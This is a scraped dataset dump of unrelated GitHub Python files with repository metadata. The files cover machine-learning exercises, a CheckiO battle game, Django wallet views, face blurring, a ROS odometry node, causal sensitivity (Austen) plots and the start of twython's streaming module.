]\n },\n entry_points='''\n [console_scripts]\n tap-kafka=tap_kafka:main\n ''',\n packages=['tap_kafka']\n)\n","repo_name":"FalconSocial/pipelinewise-tap-kafka","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"41561576491","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 18 19:08:27 2018\n\n@author: sonia\n\nHierarchial Clustering\n\"\"\"\n#Hierarchial Clustering\n\n#import libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n#import the mall dataset with pandas\ndataset = pd.read_csv('Mall_Customers.csv')\nX = dataset.iloc[:, [3, 4]].values\n\n#Using dendogram to find the optimal number of clusters\nimport scipy.cluster.hierarchy as sch\ndendrogram = sch.dendrogram(sch.linkage(X, method = 'ward'))\nplt.title('Dendrogram')\nplt.xlabel('Customers')\nplt.ylabel('Euclidean Distance')\nplt.show()\n\n#Fitting Hierarchial clustering algorithm in the dataset\nfrom sklearn.cluster import AgglomerativeClustering\nhc = AgglomerativeClustering(n_clusters = 5, affinity = 'euclidean', linkage = 'ward')\ny_hc = hc.fit_predict(X)\n\n#Visualizing the clusters\nplt.scatter(X[y_hc == 0, 0], X[y_hc == 0, 1], s = 100, color = 'red', label = 'Cluster 1')\nplt.scatter(X[y_hc == 1, 0], X[y_hc == 1, 1], s = 100, color = 'blue', label = 'Cluster 2')\nplt.scatter(X[y_hc == 2, 0], X[y_hc == 2, 1], s = 100, color = 'green', label = 'Cluster 3')\nplt.scatter(X[y_hc == 3, 0], X[y_hc == 3, 1], s = 100, color = 'cyan', label = 'Cluster 4')\nplt.scatter(X[y_hc == 4, 0], X[y_hc == 4, 1], s = 100, color = 'magenta', label = 'Cluster 5')\n\nplt.title('Cluster of clients')\nplt.xlabel('Annual Income ($k)')\nplt.ylabel('Spending score (1 - 100)')\nplt.legend()\nplt.show()","repo_name":"SoniaCheung/Machine-Learning-Samples","sub_path":"Clustering/hierarchical_clustering.py","file_name":"hierarchical_clustering.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"27545541314","text":"import pandas as pd \nfrom sklearn.svm import SVC\n\nread = pd.read_csv('voice-classification.csv')\ndf = pd.DataFrame(read)\n\nfeatures = df.iloc[: ,0:20]\ntarget = df['label']\n\nsvc = SVC(C=1,gamma='auto')\nmodel = svc.fit(features,target)\nmodel.support_vectors_\n\nsvc.predict(features)\nsvc.score(features,target)","repo_name":"Archenemy-666/Edureka-Python-Training-for-Data-Science","sub_path":"assignments/supervised learning 2/code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6249096449","text":"\"\"\"\nA new unit type won’t be added in this mission, but instead we’ll add a new\ntactic - straight_fight(army_1, army_2). It should be the method of the Battle\nclass and it should work as follows:\nat the beginning there will be a few duels between each pair of soldiers from\nboth armies (the first unit against the first, the second against the second\nand so on). After that all dead soldiers will be removed and the process\nrepeats until all soldiers of one of the armies will be dead. Armies might not\nhave the same number of soldiers. If a warrior doesn’t have an opponent from\nthe enemy army - we’ll automatically assume that he’s won a duel\n(for example - 9th and 10th units from the first army, if the second has only\n8 soldiers).\n\nInput: The warriors and armies.\n\nOutput: The result of the battle (True or False).\n\nHow it is used: For computer games development.\n\nPrecondition: 5 types of units, 2 types of battles\n\"\"\"\n\nclass Warrior:\n def __init__(self):\n self.attack = 5\n self.health = 50\n self.defense = 0\n self.vampirism = 0\n self.punching_attack = 0\n\n @property\n def is_alive(self):\n return self.health > 0\n\n\nclass Knight(Warrior):\n def __init__(self):\n super().__init__()\n self.attack = 7\n\n\nclass Defender(Warrior):\n def __init__(self):\n super().__init__()\n self.attack = 3\n self.health = 60\n self.defense = 2\n\n\nclass Vampire(Warrior):\n def __init__(self):\n super().__init__()\n self.attack = 4\n self.health = 40\n self.vampirism = 50\n\n\nclass Lancer(Warrior):\n def __init__(self):\n super().__init__()\n self.attack = 6\n self.health = 50\n self.punching_attack = 50\n\n\nclass Healer(Warrior):\n def __init__(self):\n super().__init__()\n self.attack = 0\n self.health = 60\n\n @staticmethod\n def heal(unit):\n max_class_health = unit.__class__().health\n if unit.health < max_class_health:\n unit.health += 1 if max_class_health - unit.health == 1 else 2\n\n\nclass Army:\n def __init__(self):\n self.units_list = []\n\n def add_units(self, what_unit, how_many):\n while how_many != 0:\n self.units_list.append(what_unit())\n how_many -= 1\n\n\nclass Battle:\n @staticmethod\n def fight(army_1, army_2):\n while army_1.units != [] and army_2.units != []:\n attacking_army, defending_army = army_1, army_2\n\n while True:\n attacking_unit, defending_unit = \\\n attacking_army.units_list[0], defending_army.units_list[0]\n damage = attacking_unit.attack - defending_unit.defense if \\\n attacking_unit.attack > defending_unit.defense else 0\n defending_unit.health -= damage\n attacking_unit.health += \\\n damage * attacking_unit.vampirism / 100\n\n if len(attacking_army.units_list) > 1:\n behind_attacking_unit = attacking_army.units_list[1]\n if behind_attacking_unit.__class__.__name__ == \"Healer\":\n Healer.heal(attacking_unit)\n\n if len(defending_army.units_list) > 1:\n behind_defending_unit = defending_army.units_list[1]\n damage = (damage * attacking_unit.punching_attack / 100\n - behind_defending_unit.defense)\n behind_defending_unit.health -= damage if damage > 0 else 0\n if not behind_defending_unit.is_alive:\n defending_army.units_list.pop(1)\n\n if not defending_unit.is_alive:\n defending_army.units_list.pop(0)\n break\n else:\n attacking_army, defending_army = \\\n defending_army, attacking_army\n\n return army_1.units != []\n\n @staticmethod\n def straight_fight(army_1, army_2):\n while army_1.units != [] and army_2.units != []:\n for i in range(min(len(army_1.units), len(army_2.units))):\n if fight(army_1.units[i], army_2.units[i]):\n army_2.units[i] = \"dead_body\"\n else:\n army_1.units[i] = \"dead_body\"\n for some_army in [army_1, army_2]:\n while some_army.units_list.count(\"dead_body\") > 0:\n some_army.units_list.remove(\"dead_body\")\n return army_1.units != []\n\n\ndef fight(unit_1, unit_2):\n attacking, defending = unit_1, unit_2\n while True:\n damage = attacking.attack - defending.defense if \\\n attacking.attack > defending.defense else 0\n defending.health -= damage\n attacking.health += damage * attacking.vampirism / 100\n if defending.health <= 0:\n break\n else:\n attacking, defending = defending, attacking\n return unit_1.is_alive\n\n\nif __name__ == '__main__':\n # These \"asserts\" using only for self-checking and not necessary for auto-testing\n\n # fight tests\n chuck = Warrior()\n bruce = Warrior()\n carl = Knight()\n dave = Warrior()\n mark = Warrior()\n bob = Defender()\n mike = Knight()\n rog = Warrior()\n lancelot = Defender()\n eric = Vampire()\n adam = Vampire()\n richard = Defender()\n ogre = Warrior()\n freelancer = Lancer()\n vampire = Vampire()\n priest = Healer()\n\n assert fight(chuck, bruce) == True\n assert fight(dave, carl) == False\n assert chuck.is_alive == True\n assert bruce.is_alive == False\n assert carl.is_alive == True\n assert dave.is_alive == False\n assert fight(carl, mark) == False\n assert carl.is_alive == False\n assert fight(bob, mike) == False\n assert fight(lancelot, rog) == True\n assert fight(eric, richard) == False\n assert fight(ogre, adam) == True\n assert fight(freelancer, vampire) == True\n assert freelancer.is_alive == True\n assert freelancer.health == 14\n priest.heal(freelancer)\n assert freelancer.health == 16\n\n # battle tests\n my_army = Army()\n my_army.add_units(Defender, 2)\n my_army.add_units(Healer, 1)\n my_army.add_units(Vampire, 2)\n my_army.add_units(Lancer, 2)\n my_army.add_units(Healer, 1)\n my_army.add_units(Warrior, 1)\n\n enemy_army = Army()\n enemy_army.add_units(Warrior, 2)\n enemy_army.add_units(Lancer, 4)\n enemy_army.add_units(Healer, 1)\n enemy_army.add_units(Defender, 2)\n enemy_army.add_units(Vampire, 3)\n enemy_army.add_units(Healer, 1)\n\n army_3 = Army()\n army_3.add_units(Warrior, 1)\n army_3.add_units(Lancer, 1)\n army_3.add_units(Healer, 1)\n army_3.add_units(Defender, 2)\n\n army_4 = Army()\n army_4.add_units(Vampire, 3)\n army_4.add_units(Warrior, 1)\n army_4.add_units(Healer, 1)\n army_4.add_units(Lancer, 2)\n\n army_5 = Army()\n army_5.add_units(Warrior, 10)\n\n army_6 = Army()\n army_6.add_units(Warrior, 6)\n army_6.add_units(Lancer, 5)\n\n battle = Battle()\n\n assert battle.fight(my_army, enemy_army) == False\n assert battle.fight(army_3, army_4) == True\n assert battle.straight_fight(army_5, army_6) == False\n print(\"Coding complete? Let's try tests!\")\n","repo_name":"booratello/CheckiO_solutions","sub_path":"tasks_series_for_warriors_game/7_Straight_Fight.py","file_name":"7_Straight_Fight.py","file_ext":"py","file_size_in_byte":7251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26626822746","text":"from rest_framework import generics, status\nfrom rest_framework.response import Response\n\nfrom . serializers import (\n UserSerializer, CreatePaymentReq\n)\nfrom .services import convertCedisToPesewas\n\n\nclass RegisterUserView(generics.GenericAPIView):\n serialier_class = UserSerializer\n\n def post(self, request):\n user = request.data\n serializer = self.serialier_class(data=user)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n user_data = serializer.data\n return Response(user_data, status=status.HTTP_201_CREATED)\n\n\nclass TransactionView(generics.ListCreateAPIView):\n serializer_class = CreatePaymentReq\n\n def post(self, request, *args, **kwargs):\n transaction = request.data\n serializer = self.serializer_class(data=transaction)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n transaction_data = serializer.data\n return Response(transaction_data, status=status.HTTP_200_OK)\n","repo_name":"swiftwuz/virtual-wallet","sub_path":"wallets/v0/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22129748169","text":"import cv2\nimport sys\n\ndef face_blur (imagePath,dest): \n cascPath = 'haarcascade_frontalface_default.xml'\n\n # Create the haar cascade\n faceCascade = cv2.CascadeClassifier(cascPath)\n\n # Read the image and convert to gray\n image = cv2.imread(imagePath)\n gray = cv2.cvtColor(cv2.imread(imagePath), cv2.COLOR_BGR2GRAY)\n print(gray)\n print(\"imagePath\")\n\n # now we can try to detect faces\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags = cv2.CASCADE_SCALE_IMAGE\n )\n\n print(faces)\n\n # Draw a rectangle around the faces and display on screen\n result=[]\n for (x, y, w, h) in faces:\n result.append((x,y,w,h))\n face_image=image[y:y+h, x:x+w]\n face_image = cv2.GaussianBlur(face_image, (21, 21), 10)\n image[y:y+h, x:x+w]=face_image\n\n cv2.imwrite(dest,image)\n return result\n\n","repo_name":"TheCBKM/Blur_IT","sub_path":"index/faceblur.py","file_name":"faceblur.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37117284922","text":"#!/usr/bin/env python3\r\nimport rospy\r\nfrom sensor_msgs.msg import PointCloud2\r\nfrom sensor_msgs import point_cloud2\r\nfrom sensor_msgs.msg import PointCloud\r\nfrom geometry_msgs.msg import Point32\r\nfrom geometry_msgs.msg import Odometry\r\n\r\n\r\nclass get_odo:\r\n def __init__(self):\r\n # self.map = PointCloud2()\r\n rospy.Subscriber(\"/corrected_cloud\", PointCloud2, self.get_flag)\r\n rospy.Subscriber(\"/key_pose_origin\", PointCloud2, self.getmapMsg)\r\n rospy.Subscriber(\"/aft_mapped_to_init\", Odometry, self.getodoMsg)\r\n self.pub_map = rospy.Publisher(\"/visual_path\", PointCloud, queue_size=1)\r\n self.pub_odo = rospy.Publisher(\"/visual_odo\", Point32, queue_size=1)\r\n self.first_flag = False\r\n self.first_do = False\r\n self.cur_position = Point32()\r\n\r\n def get_flag(self, msg):\r\n if self.first_do is False:\r\n self.first_flag = True\r\n self.first_do = True\r\n\r\n def getmapMsg(self, msg):\r\n if self.first_flag is True:\r\n # self.map = msg\r\n temp = point_cloud2.read_points(msg, skip_nans=True)\r\n path_list = PointCloud()\r\n path_list.points = []\r\n for p in temp:\r\n get_point = Point32()\r\n get_point.x = p[0]\r\n get_point.y = p[1]\r\n path_list.points.append(get_point)\r\n path_list.header.frame_id = 'world'\r\n path_list.header.stamp = rospy.Time.now()\r\n self.pub_map.publish(path_list)\r\n self.first_flag = False\r\n else:\r\n return\r\n\r\n def getodoMsg(self, msg):\r\n self.cur_position.x = msg.pose.pose.position.x\r\n self.cur_position.y = msg.pose.pose.position.y\r\n\r\n def run(self):\r\n self.pub_odo.publish(self.cur_position)\r\n\r\n\r\nprint(\"ON\")\r\nrospy.init_node(\"LiDAR_loam\", anonymous=False)\r\n\r\nwhile not rospy.is_shutdown():\r\n get_odo.run()\r\n rospy.spin()\r\n","repo_name":"mfkiwl/LiDAR_Detection","sub_path":"loam/go_slam.py","file_name":"go_slam.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32506460828","text":"import glob\nimport os\nimport warnings\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom functools import reduce\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nimport scipy as sp\nimport plotnine as pn\nfrom tqdm import tqdm\nfrom typing import List, Tuple, Optional\nfrom austen_plots.plot_helpers import get_color_palette, modify_theme, modify_Rsq_plot\nfrom austen_plots.math_helpers import calc_Rsq, calc_delta, calc_ci, calc_Rsqhat, calc_ahat\n\n\n# TODO: add treatment in covs and docstring\nclass AustenPlot:\n def __init__(self, input_df_path: str, covariate_dir_path: str = None, bootstrap_dir_path: str = None):\n \"\"\"\n :param input_df_path: Path to input df which should be a .csv with the following columns:\n 'g' (propensity_score), 'Q' (conditional expected outcome), 't' (treatment), 'y' (outcome)\n :param covariate_dir_path: Path to directory containing coviariates.\n Each file within the directory should be a \"covariate_name.csv\" with the same columns as input_df.\n The files should have 'g' and 'Q' calculated from data where the covariate has been dropped before prediction\n :param bootstrap_dir_path: Path to directory containing bootstrapped data\n Each sub-directory under bootstrap_dir_path should have an input_df with the same name and format as that in input_df_path\n Each sub-directory may also optionally have a directory with covariates with the same name and format as covariate_dir_path\n \"\"\"\n self.input_df_path = input_df_path\n self.input_name = os.path.basename(os.path.normpath(self.input_df_path))\n self.covariate_dir_path = covariate_dir_path\n self.covariate_dir_name = os.path.basename(\n os.path.normpath(self.covariate_dir_path)) if self.covariate_dir_path else None\n self.bootstrap_dir_path = bootstrap_dir_path\n if self.bootstrap_dir_path:\n self.bootstrap_subdir_list = sorted([os.path.join(self.bootstrap_dir_path, subdir)\n for subdir in os.listdir(self.bootstrap_dir_path) if\n not subdir.startswith('.')]) # ignore hidden files such as .DS_Store\n\n def _fit_single_sensitivity_analysis(self, input_df_path: str,\n bias: float,\n covariate_dir_path: str,\n do_att: bool,\n plot_graph: bool = True,\n verbose: bool = True) -> \\\n Tuple[Optional[pn.ggplot], DataFrame, DataFrame]:\n input_df = pd.read_csv(input_df_path)\n if covariate_dir_path:\n covariate_params = {}\n for f in glob.glob(os.path.join(covariate_dir_path, '*.csv')):\n name = Path(f).stem\n cov_df = pd.read_csv(f)\n covariate_params[name] = {'g': cov_df['g'].values, 'Q': cov_df['Q'].values}\n else:\n covariate_params = None\n\n if verbose:\n print(\"Fitting main dataset\")\n plot_coords, variable_importances_df = self._calculate_sensitivity_graph(input_df, bias, covariate_params,\n do_att)\n\n frac_bad_rows = len(\n plot_coords[plot_coords['Rsq'] >= 1]) / len(plot_coords)\n if frac_bad_rows > 0.5:\n warnings.warn('Bias this large may not be compatible with the data')\n\n if plot_graph:\n p = self._plot_sensitivity_graph(\n plot_coords, variable_importances_df, bias)\n else:\n p = None\n\n return p, plot_coords, variable_importances_df\n\n def _calculate_sensitivity_graph(self, input_df: DataFrame, bias: float, covariate_params: dict, do_att: bool) -> \\\n Tuple[DataFrame, Optional[DataFrame]]:\n # Truncate input df if ATT is to be calculated\n if do_att:\n input_df_plot = input_df[input_df['t'] == 1]\n else:\n input_df_plot = input_df.copy(deep=True)\n\n # Calculate alpha, delta and Rsq\n plot_coords = pd.DataFrame({'alpha': np.arange(0.0001, 1, 0.0005)})\n plot_coords['delta'] = plot_coords['alpha'].apply(\n calc_delta, args=(input_df_plot['g'], bias))\n plot_coords['Rsq'] = plot_coords.apply(\n calc_Rsq, axis=1, args=(input_df_plot['g'], input_df_plot['Q'], input_df_plot['t'], input_df_plot['y']))\n\n # make smallest Rsq value>1 to be equal to 1 to prevent plot discontinuity\n plot_coords = modify_Rsq_plot(plot_coords, 'Rsq')\n\n # if covariate information provided, calculate co-ordinates of the covariates\n # note that restricting to t==1 is not required here when do_att, see Appendix A in paper\n if covariate_params:\n variable_importances = []\n for k, v in covariate_params.items():\n variable_importances_sub = {'covariate_name': k,\n 'ahat': np.nan if k == 'treatment' else calc_ahat(v['g'], input_df['g']),\n 'Rsqhat': calc_Rsqhat(input_df['y'], v['Q'], input_df['Q'])}\n variable_importances.append(variable_importances_sub)\n variable_importances_df = pd.DataFrame(variable_importances)\n\n else:\n variable_importances_df = None\n\n return plot_coords, variable_importances_df\n\n def _plot_sensitivity_graph(self, plot_coords: DataFrame, variable_importances_df: DataFrame,\n bias: float) -> pn.ggplot:\n # plot the line\n p = (pn.ggplot(data=plot_coords, mapping=pn.aes(x='alpha', y='Rsq'))\n + pn.geom_line(color='#585858', size=1, na_rm=True)\n + pn.scale_x_continuous(expand=[0, 0, 0, 0], limits=(-0.03, 1))\n + pn.scale_y_continuous(expand=[0, 0, 0, 0], limits=(-0.03, 1))\n )\n p = modify_theme(p, bias)\n\n if variable_importances_df is not None:\n # drop treatment from covariates to plot\n variable_importances_plot = variable_importances_df[\n variable_importances_df['covariate_name'] != 'treatment']\n scale_fill = get_color_palette(\n variable_importances_plot.shape[0])\n\n # Add variables to plot\n p = p + pn.geom_point(data=variable_importances_plot,\n mapping=pn.aes(x='ahat',\n y='Rsqhat',\n fill='covariate_name'),\n color='black',\n alpha=0.8,\n size=4) + pn.scale_fill_manual(scale_fill)\n\n return p\n\n def _fit_single_bootstrap_sensitivity_analysis(self, subdir: str, bias: float, do_att: bool) -> Tuple[\n DataFrame, Optional[DataFrame]]:\n if self.covariate_dir_name is not None:\n boot_covariate_dir = os.path.join(subdir, self.covariate_dir_name)\n if not os.path.exists(boot_covariate_dir):\n boot_covariate_dir = None\n else:\n boot_covariate_dir = None\n\n _, plot_coords, variable_coords = self._fit_single_sensitivity_analysis(os.path.join(subdir, self.input_name),\n bias,\n boot_covariate_dir,\n do_att,\n plot_graph=False,\n verbose=False)\n # rename columns to have a suffix of the iteration number\n suffix = Path(subdir).stem\n plot_coords = plot_coords.drop(columns=['delta']).rename(columns={'Rsq': f\"Rsq_{suffix}\"})\n if variable_coords is not None:\n variable_coords = variable_coords.rename(\n columns={'ahat': f\"ahat_{suffix}\", 'Rsqhat': f'Rsqhat_{suffix}'})\n return plot_coords, variable_coords\n else:\n return plot_coords, None\n\n def _calculate_bootstrap_sensitivity_graph(self, main_plot_coords: DataFrame,\n main_variable_coords: DataFrame,\n boot_plot_coords: List[DataFrame],\n boot_variable_coords: List[DataFrame],\n plot_variables_condition: str,\n ci_cutoff: float) -> Tuple[DataFrame, Optional[DataFrame]]:\n # merge into single df\n boot_plot_coords = reduce(lambda left, right: pd.merge(left, right, on='alpha',\n how='inner'), boot_plot_coords)\n main_plot_coords = main_plot_coords.drop(columns='delta')\n boot_plot_coords = pd.merge(\n boot_plot_coords, main_plot_coords, how='left', on='alpha')\n\n # calculate confidence intervals for Rsq\n boot_plot_coords[['main', 'ci_lower', 'ci_upper']] = boot_plot_coords.filter(regex='^Rsq', axis=1).apply(\n calc_ci, axis=1, result_type='expand', args=(ci_cutoff,))\n\n # make largest Rsq = 1\n boot_plot_coords = modify_Rsq_plot(boot_plot_coords, 'main')\n\n if plot_variables_condition == 'both':\n # merge main plot co-ordinates with boot plot co-ordinates\n boot_variable_coords = reduce(lambda left, right: pd.merge(left, right, on='covariate_name',\n how='inner'), boot_variable_coords)\n\n boot_variable_coords = pd.merge(\n boot_variable_coords, main_variable_coords, how='left', on='covariate_name')\n\n # calc ci for variables\n boot_variable_coords[['Rsqhat_main', 'Rsqhat_ci_lower', 'Rsqhat_ci_upper']] = boot_variable_coords.filter(\n regex='^Rsqhat', axis=1).apply(\n calc_ci, axis=1, result_type='expand', args=(ci_cutoff,))\n\n boot_variable_coords[['ahat_main', 'ahat_ci_lower', 'ahat_ci_upper']] = boot_variable_coords.filter(\n regex='^ahat', axis=1).apply(\n calc_ci, axis=1, result_type='expand', args=(ci_cutoff,))\n\n return boot_plot_coords, boot_variable_coords\n\n elif plot_variables_condition == 'main':\n return boot_plot_coords, main_variable_coords\n\n elif plot_variables_condition == 'none':\n return boot_plot_coords, None\n\n def _plot_bootstrap_sensitivity_graph(self, plot_coords: DataFrame, variable_coords: DataFrame,\n plot_variables_condition: str, bias: float) -> pn.ggplot:\n\n p = (pn.ggplot(data=plot_coords, mapping=pn.aes(x='alpha', y='Rsq'))\n + pn.geom_ribbon(pn.aes(ymin='ci_lower', ymax='ci_upper'), fill='#D3D3D3')\n + pn.geom_line(color='#585858', size=1, na_rm=True)\n + pn.scale_x_continuous(expand=[0, 0, 0, 0], limits=(-0.05, 1))\n + pn.scale_y_continuous(expand=[0, 0, 0, 0], limits=(-0.05, 1)))\n\n p = modify_theme(p, bias)\n\n if plot_variables_condition != 'none':\n variable_coords_plot = variable_coords[variable_coords['covariate_name'] != 'treatment']\n scale_fill = get_color_palette(variable_coords_plot.shape[0])\n\n if plot_variables_condition == 'main':\n variable_coords_plot = variable_coords_plot.rename(\n columns={'Rsqhat': 'Rsqhat_main', 'ahat': 'ahat_main'})\n\n if plot_variables_condition == 'both':\n p = p + pn.geom_errorbar(data=variable_coords_plot,\n mapping=pn.aes(x='ahat_main', ymin='Rsqhat_ci_lower',\n ymax='Rsqhat_ci_upper'), inherit_aes=False,\n width=0.02, size=0.5) \\\n + pn.geom_errorbarh(data=variable_coords_plot, mapping=pn.aes(y='Rsqhat_main', xmin='ahat_ci_lower',\n xmax='ahat_ci_upper'),\n inherit_aes=False,\n height=0.02, size=0.5)\n\n p = p + pn.geom_point(data=variable_coords_plot, mapping=pn.aes(x='ahat_main', y='Rsqhat_main',\n fill='factor(covariate_name)'),\n inherit_aes=False,\n color='black', alpha=1, size=2.5, stroke=0.5) \\\n + pn.scale_fill_manual(scale_fill)\n\n return p\n\n def fit(self, bias: float, do_bootstrap: bool = False, ci_cutoff: float = 0.95, do_att: bool = False) -> \\\n Tuple[pn.ggplot, DataFrame, Optional[DataFrame]]:\n \"\"\"\n Fits an Austen plot\n :param bias: The desired amount of bias to test for\n :param do_bootstrap: If bootstrapped data should be used for analysis\n :param ci_cutoff: Confidence interval cutoff if using bootstrapped data\n :param do_att: If ATT should be used instead of ATE\n :returns: Austen plot, plot_co-ordinates and optionally variable co-ordinates\n \"\"\"\n # plot single sensitivity without bootstrap\n if not do_bootstrap:\n p, main_plot_coords, main_variable_coords = self._fit_single_sensitivity_analysis(self.input_df_path, bias,\n self.covariate_dir_path,\n do_att)\n return p, main_plot_coords, main_variable_coords\n\n else:\n if self.bootstrap_dir_path is None:\n raise ValueError(\"bootstrap_dir_path is not provided\")\n\n else:\n _, main_plot_coords, main_variable_coords = self._fit_single_sensitivity_analysis(self.input_df_path,\n bias,\n self.covariate_dir_path,\n do_att,\n plot_graph=False)\n print('Fitting bootstrapped datasets')\n\n boot_plot_coords, boot_variable_coords = [], []\n for subdir in tqdm(self.bootstrap_subdir_list):\n plot_coords, variable_coords = self._fit_single_bootstrap_sensitivity_analysis(subdir, bias,\n do_att)\n boot_plot_coords.append(plot_coords)\n boot_variable_coords.append(variable_coords)\n\n # which variables to plot?\n if not self.covariate_dir_path:\n plot_variables_condition = 'none'\n boot_variable_coords_filtered = None\n else:\n boot_variable_coords_filtered = [v for v in boot_variable_coords if v is not None]\n if len(boot_variable_coords_filtered) < 3:\n warnings.warn(\"Need at last three bootstrapped covariates for plotting confidence intervals\")\n plot_variables_condition = 'main'\n else:\n plot_variables_condition = 'both'\n print('Plotting combined bootstrap graph')\n\n combined_plot_coords, combined_variable_coords = self._calculate_bootstrap_sensitivity_graph(\n main_plot_coords,\n main_variable_coords,\n boot_plot_coords,\n boot_variable_coords_filtered,\n plot_variables_condition,\n ci_cutoff)\n\n p = self._plot_bootstrap_sensitivity_graph(combined_plot_coords, combined_variable_coords,\n plot_variables_condition, bias)\n\n return p, combined_plot_coords, combined_variable_coords\n","repo_name":"anishazaveri/austen_plots","sub_path":"austen_plots/AustenPlot.py","file_name":"AustenPlot.py","file_ext":"py","file_size_in_byte":16730,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"} +{"seq_id":"33417808537","text":"\"\"\"\nThis module compute the distance of census tract to all hospitals and house\n\"\"\"\nimport pandas as pd\nimport geocoder\n\n\ntract_file = 'mn_tracts.csv'\nhouse_file = '../House/s8house_ref_score.csv'\nhospital_file = '../Health/mn_hospital_score.csv'\n\nhouse_dist_file = '../House/house_dist.csv'\nhospital_dist_file = '../Health/hospital_dist.csv'\n\ndef calc_tract_dist(tract_file, facility_file, dist_file):\n \"\"\"Calculate the distance between tract between every hospital/house\"\"\"\n facility = pd.read_csv(facility_file, sep='\\t')\n tract = pd.read_csv(tract_file)\n geoid_dist = {}\n for index, row in tract.iterrows():\n id = row['geoid']\n lat = row['lat']\n long = row['lng']\n l1 = (lat, long)\n dist_list = []\n for i, r in facility.iterrows():\n name = r['name']\n lat_f = r['lat']\n long_f = r['lng']\n l2 = (lat_f, long_f)\n dist = geocoder.distance(l1, l2, units='miles')\n dist_list.append((dist, name))\n dist_list.sort(key=lambda x:x[0])\n #print(id)\n #print(dist_list[:10])\n #exit(1)\n geoid_dist[id] = dist_list\n\n geoid_dist = pd.Series(geoid_dist, name='distance')\n geoid_dist.index = geoid_dist.index.map(lambda x:'%.0f' % x)\n geoid_dist.to_csv(dist_file, sep='\\t', index_label='geoid', header=True, float_format='%.3f') \n \n \n \n#calc_tract_dist(tract_file, hospital_file, hospital_dist_file)\ncalc_tract_dist(tract_file, house_file, house_dist_file)\n \n","repo_name":"Sai83/accessibilityscore","sub_path":"Geolocation/calc_tract_dist.py","file_name":"calc_tract_dist.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35501842992","text":"def findOrder(p) :\n '''\n 괄호 p가 주어질 때, 각 괄호가 몇 번째로 계산되어야 하는 괄호인지를 list로 반환합니다.\n\n 예를 들어, p='(()())' 일 경우, [3, 1, 1, 2, 2, 3] 을 반환합니다.\n '''\n\n result = [0] * len(p)\n stack = []\n cnt = 1\n \n for i in range(len(p)) :\n if p[i] == '(' :\n stack.append(i)\n else :\n result[i] = cnt\n result[stack.pop()] = cnt\n cnt += 1\n\n return result\n\ndef main():\n '''\n Do not change this code\n '''\n\n p = input()\n print(*findOrder(p))\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"daffuna91/Data-Structure-and-Algorithm-Quiz","sub_path":"16_determine_calculation_order.py","file_name":"16_determine_calculation_order.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"25594341651","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 6 13:51:21 2020\n\n@author: bouaz\n\"\"\"\n\nimport numpy as np\nfrom utils import algorithms,simulations,plots\n\n# options\ndt = 0.01\ntimesteps = 10000\ndelays = 500\n#u = np.ones((2,timesteps+1))*0.01\n\n# simulate system\n# lorenz, duffing, rössler, vanderpol, pendulum, doubletank, trippletank\nt_train, X_train, t_test, X_test = simulations.simulate_system('lorenz', dt, timesteps)\nX_ = X_train[0,:]\n\n# run algorithm\nhavok = algorithms.HAVOK()\nhavok.fit(X_, dt, delays=delays, trunc_mode='rank', s_thresh=20)\n\n# show plots\n#plots.compare_orig_delay_coords(X_train, havok.Vh_)\n\n#plots.plot_singular_values(havok.s)\n\n#plots.compare_orig_recon_timeseries(t_train, X_train, havok.Vh_)\n\n#plots.plot_recon_timeseries(t_train, havok.Vh_, dims=[0,1,2])\n\n#plots.plot_svd_modes(havok.U_)\n\nplots.plot_Phi_modes(havok.Phi)\n\n\n","repo_name":"KhalidBouazi/Thesis-Code","sub_path":"Python/exps/havok_lorenz.py","file_name":"havok_lorenz.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"34534384492","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ntwython.streaming.api\n~~~~~~~~~~~~~~~~~~~~~\n\nThis module contains functionality for interfacing with streaming\nTwitter API calls.\n\"\"\"\n\nfrom .. import __version__\nfrom ..compat import json, is_py3\nfrom ..helpers import _transparent_params\nfrom .types import TwythonStreamerTypes\n\nimport requests\nfrom requests_oauthlib import OAuth1\n\nimport time\n\n\nclass TwythonStreamer(object):\n def __init__(self, app_key, app_secret, oauth_token, oauth_token_secret,\n timeout=300, retry_count=None, retry_in=10, client_args=None,\n handlers=None, chunk_size=1):\n \"\"\"Streaming class for a friendly streaming user experience\n Authentication IS required to use the Twitter Streaming API\n\n :param app_key: (required) Your applications key\n :param app_secret: (required) Your applications secret key\n :param oauth_token: (required) Used with oauth_token_secret to make\n authenticated calls\n :param oauth_token_secret: (required) Used with oauth_token to make\n authenticated 